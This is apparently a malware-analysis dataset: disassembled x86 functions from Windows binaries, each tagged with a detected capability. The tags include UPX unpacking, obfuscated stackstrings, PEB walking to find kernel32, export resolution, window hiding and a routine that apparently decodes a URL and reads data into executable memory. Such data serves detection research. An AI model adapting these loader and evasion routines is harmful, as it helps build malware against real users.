joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002290c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x100369c8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10022952
cmp word [ebx], dx
jne 0x10022952
or byte [eax + edi + 0x28], 4
jmp 0x10022957
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10022aba
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10022a9a
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10022998
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x100229ce
cmp eax, edx
jae 0x100229dc
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10022973
jmp 0x10022aba
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10022a95
cmp dword [ebp - 0x18], 0
je 0x10022a95
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x100369c8]
test byte [eax + edi + 0x28], 0x48
je 0x10022a6b
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x10022a2f
mov word [esi], cx
jmp 0x10022a66
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x100369c8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x100369c8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x100369c8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10022aba
pop eax
cmp word [ebp - 4], ax
jne 0x10022a7b
cmp esi, ebx
jne 0x10022a7b
mov word [esi], ax
jmp 0x10022ab7
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10019ca5
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10022aba
push 0xd
pop eax
jmp 0x10022a76
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x100369c8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10022ab4
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10022aba
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10026d91
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.10026d0d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10026f00
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10026f00
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10026eb5
jg 0x10026ded
test eax, eax
je 0x10026eab
push 1
push 0x1000
call fcn.10019a02
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10026e10
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10026ea2
push 0x8000
push ebx
call fcn.10026c3e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10026e39
jg 0x10026e34
cmp ecx, 0x1000
jb 0x10026e39
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100197e6
add esp, 0x10
cmp eax, 0xffffffff
je 0x10026e7e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10026e34
jl 0x10026e65
test ecx, ecx
jne 0x10026e26
push dword [ebp - 0xc]
push ebx
call fcn.10026c3e
push esi
call fcn.10018d7c
add esp, 0xc
xor ebx, ebx
jmp 0x10026f0e
cmp byte [edi + 0x24], 0
je 0x10026e95
cmp dword [edi + 0x20], 5
jne 0x10026e95
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10026ea0
mov ebx, dword [edi + 0x18]
jmp 0x10026ea2
xor ebx, ebx
push esi
call fcn.10018d7c
pop ecx
jmp 0x10026f0e
test ecx, ecx
jg 0x10026e77
jl 0x10026eb5
test eax, eax
jae 0x10026e77
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10019ca5
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10026ed5
cmp byte [edi + 0x1c], 0
je 0x10026e77
jmp 0x10026f06
push ebx
call fcn.10022556
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10026e77
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10026f0e
cmp byte [edi + 0x1c], 0
je 0x10026f0b
mov ebx, dword [edi + 0x18]
jmp 0x10026f0e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10019ca5
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100284c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100284ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100284ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43ea0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x43ea08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x43ea08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x418180
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x411015
lea edi, [esi - 0x10015]
push edi
or ebp, 0xffffffff
jmp 0x4181a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4181a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x418198
mov eax, 1
add ebx, ebx
jne 0x4181bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4181b0
jne 0x4181cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4181b0
xor ecx, ecx
sub eax, 3
jb 0x4181e0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x418252
mov ebp, eax
add ebx, ebx
jne 0x4181eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4181f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41821c
inc ecx
add ebx, ebx
jne 0x418208
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4181fd
jne 0x418219
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4181fd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41823c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41822d
jmp 0x41819e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41823c
add edi, ecx
jmp 0x41819e
pop esi
mov edi, esi
mov ecx, 0xb97
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41825a
cmp byte [edi], 4
jne 0x41825a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41825f
lea edi, [esi + 0x16000]
mov eax, dword [edi]
or eax, eax
je 0x4182ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18110]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41828c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18118]
or eax, eax
je 0x4182c8
mov dword [ebx], eax
add ebx, 4
jmp 0x4182a9
call dword [esi + 0x18114]
mov ebp, dword [esi + 0x1811c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x418302
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x40c3ca
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov dword [ebp - 0x108], 0x9227cd4
mov dword [ebp - 0x10c], 0xc2fbf138
mov dword [ebp - 0x164], 0x65789bc3
mov byte [ebp - 0x40], 0x77
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x6e
mov byte [ebp - 0x3d], 0x69
mov byte [ebp - 0x3c], 0x6e
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0
mov dword [ebp - 0x110], 0x522dc7a5
mov dword [ebp - 0x124], 0x3c3f930a
mov dword [ebp - 0x128], 0xf4e9f9c3
mov dword [ebp - 0x12c], 0xec0dbfad
mov dword [ebp - 0x13c], 0xf180c3a9
mov dword [ebp - 0x148], 0xf20574da
mov dword [ebp - 0x158], 0xf3a7f036
mov dword [ebp - 0x154], 0x3109b9f3
mov dword [ebp - 0x150], 0x3afaad00

Function at 0x40c4ad
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [ebp - 0x168], 0x5ff57008
mov dword [ebp - 0x16c], 0xbef09e52
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x144], 0x1e29f1a4
movsb byte es:[edi], byte [esi]
int1
sub dword [esi], ebx
call fcn.0040cc4a
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x108]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040cc7a
add esp, 8
invalid
invalid
Function at 0x40c9b5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ecx
mov edx, dword [ebp - 0xa8]
push edx
call fcn.0040cc7a
add esp, 8
mov dword [ebp - 0xe4], eax
mov byte [ebp - 0x68], 0x6c
mov byte [ebp - 0x67], 0x78
mov byte [ebp - 0x66], 0x78
mov byte [ebp - 0x65], 0x74
mov byte [ebp - 0x64], 0x3e
mov byte [ebp - 0x63], 0x33
mov byte [ebp - 0x62], 0x33
mov byte [ebp - 0x61], 0x65
mov byte [ebp - 0x60], 0x68
mov byte [ebp - 0x5f], 0x39
mov byte [ebp - 0x5e], 0x3d
mov byte [ebp - 0x5d], 0x78
mov byte [ebp - 0x5c], 0x3c
mov byte [ebp - 0x5b], 0x36
mov byte [ebp - 0x5a], 0x6b
mov byte [ebp - 0x59], 0x32
mov byte [ebp - 0x58], 0x67
mov byte [ebp - 0x57], 0x73
mov byte [ebp - 0x56], 0x71
mov byte [ebp - 0x55], 0x33
mov byte [ebp - 0x54], 0x35
mov byte [ebp - 0x53], 0x33
mov byte [ebp - 0x52], 0x70
mov byte [ebp - 0x51], 0x73
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], 0x6e
mov byte [ebp - 0x4e], 0x32
inc ebp
mov dl, 0x32
mov byte [ebp - 0x4d], 0x66
mov byte [ebp - 0x4c], 0x71
mov byte [ebp - 0x4b], 0x74
mov byte [ebp - 0x4a], 0
mov dword [ebp - 0x1c], 0
jmp 0x40ca59
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x1e
jge 0x40ca73
mov ecx, dword [ebp - 0x1c]
movsx edx, byte [ebp + ecx - 0x68]
sub edx, 4
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x68], dl
jmp 0x40ca50
mov dword [ebp - 0xb8], 0x21e08
push 0x40
push 0x1000
push 0x400000
push 0
call dword [ebp - 0xf0]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x28], 0
push 0
push 0
push 0
push 0
push 0
call dword [ebp - 0xec]
mov dword [ebp - 0x130], eax
push 0
push SysReAllocString
push 0
push 0
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x130]
push eax
call dword [ebp - 0xe8]
mov dword [ebp - 0x134], eax
push 0x400000
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0xd0]
add esp, 0xc
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x20], 0
jle 0x40cb39
lea edx, [ebp - 0x20]
push edx
push 0x2000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call dword [ebp - 0xe4]
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
jmp 0x40cb05
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0xb8]
jne 0x40caab
mov edx, dword [ebp - 0x138]
mov dword [ebp - 8], edx
push 7
push 6
push 0x4f2e1
mov eax, dword [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0040ce1a
add esp, 0x18
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 0

Function at 0x40cc4a
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40cc7a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1c], edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
add eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp + 0xc]
and ecx, 0xffff0000
je 0x40cd56
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0
jmp 0x40ccf8
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x20]
jae 0x40cd4d
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
invalid
invalid
Function at 0x43b649
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x43b3c1
and edi, edi
add edi, edi
mov edi, 0x566d817
call fcn.0043b68e
dec edi
add esi, 0x818119e4
xor dword [edx], eax
dec edi
add esi, esi
add edx, 1
sub esp, 4
mov dword [esp], 0xc2b71c0c
pop edi
dec esi
inc edi
cmp edx, ebx
jne fcn.0043b649
or esi, edi
mov esi, 0xf4a63447
sub edi, 0xa488793a
ret

Function at 0x401080
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x13c
mov eax, dword [0x404008]
xor eax, esp
mov dword [esp + 0x138], eax
push esi
lea eax, [esp + 8]
mov dword [esp + 4], 0
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionOpenWith
xorps xmm0, xmm0
mov dword [esp + 0x18], 0
push reloc.OLEAUT32.dll_SysReAllocString
movaps xmmword [esp + 0x34], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401191
mov esi, dword [esp + 8]
test esi, esi
je 0x401191
push pe_nt_image_headers32
push eax
lea eax, [esp + 0x40]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x1c], pe_nt_image_headers32
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0x403224
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [esp + 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x401191
lea ecx, [esp + 0x38]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401130
sub ecx, edx
sar ecx, 1
cmp ecx, 0x26
jne 0x401191
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
js 0x401191
lea eax, [esp + 4]
mov dword [esp + 0xc], 0x6a283fe2
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x4599ecfa
push eax
push 4
push 0
lea eax, [esp + 0x30]
mov dword [esp + 0x24], 0x9e8c491
push eax
mov dword [esp + 0x2c], 0x267b1357
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 4]
pop esi
xor ecx, esp
call fcn.004012f0
mov esp, ebp
pop ebp
ret

Function at 0x4011b0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 2
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
call fcn.00401080
mov ebx, eax
push 0
push ebx
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
push str..pdf
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
test esi, esi
je 0x401232
mov edi, dword [ebx]
push 4
push esi
push dword [ebp - 4]
mov edi, dword [edi + 0xc]
mov ecx, edi
push ebx
call dword [0x403110]
call edi
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebx]
push ebx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x403110]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x8007000e
call fcn.00401030
int3
Function at 0x46c610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x58000]
push edi
jmp 0x46c62a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x46c631
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46c620
mov eax, 1
add ebx, ebx
jne 0x46c643
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x46c654
jne 0x46c673
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46c673
dec eax
add ebx, ebx
jne 0x46c660
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x46c638
add ebx, ebx
jne 0x46c66f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x46c6c5
xor ecx, ecx
sub eax, 3
jb 0x46c68b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x46c6fa
sar eax, 1
mov ebp, eax
jmp 0x46c696
add ebx, ebx
jne 0x46c696
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46c664
inc ecx
add ebx, ebx
jne 0x46c6a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46c664
add ebx, ebx
jne 0x46c6b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x46c6a6
jne 0x46c6c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x46c6a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x46c6e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x46c6d6
jmp 0x46c626
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x46c6e4
add edi, ecx
jmp 0x46c626
pop esi
mov edi, esi
mov ecx, 0x20b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x46c702
cmp byte [edi], 0xa
jne 0x46c702
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x46c707
lea edi, [esi + 0x69000]
mov eax, dword [edi]
or eax, eax
je 0x46c77f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6c000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6c118]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46c734
mov ecx, edi
jns 0x46c763
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6c11c]
or eax, eax
je 0x46c779
mov dword [ebx], eax
add ebx, 4
jmp 0x46c751
call dword [esi + 0x6c12c]
mov ebp, dword [esi + 0x6c120]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x46c7b3
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x415db0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x415db0
lcall 0x5de5, 0x8b10c483
jmp loc.007bac00
Function at 0x4069c5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4069e9
xor eax, eax
test eax, eax
je 0x4069fc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4069fc
xor ecx, ecx
jmp 0x4069ff
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b22
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dec], 0
push esi
jne 0x406b59
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b33
mov dword [ecx*4 + 0x427de8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b2e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406b8a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427de8]
xor eax, esi
inc ecx
dec edx
jne 0x406b6c
pop edi
not eax
pop esi
ret 0xc

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x46df0e0a
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3126400f
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10001000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov eax, edx
push ebx
push esi
mov dword [ebp - 0xc], eax
mov esi, section..data
mov ecx, dword [ecx]
mov eax, dword [eax]
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0x10
xor eax, dword [esi]
lea esi, [esi + 4]
mov edx, eax
mov ebx, eax
shr edx, 8
mov edi, eax
mov ecx, edx
shr ecx, 8
mov eax, ecx
movzx ecx, cl
shr eax, 8
mov eax, dword [eax*4 + 0x10004048]
add eax, dword [ecx*4 + 0x10004448]
movzx ecx, dl
xor eax, dword [ecx*4 + 0x10004848]
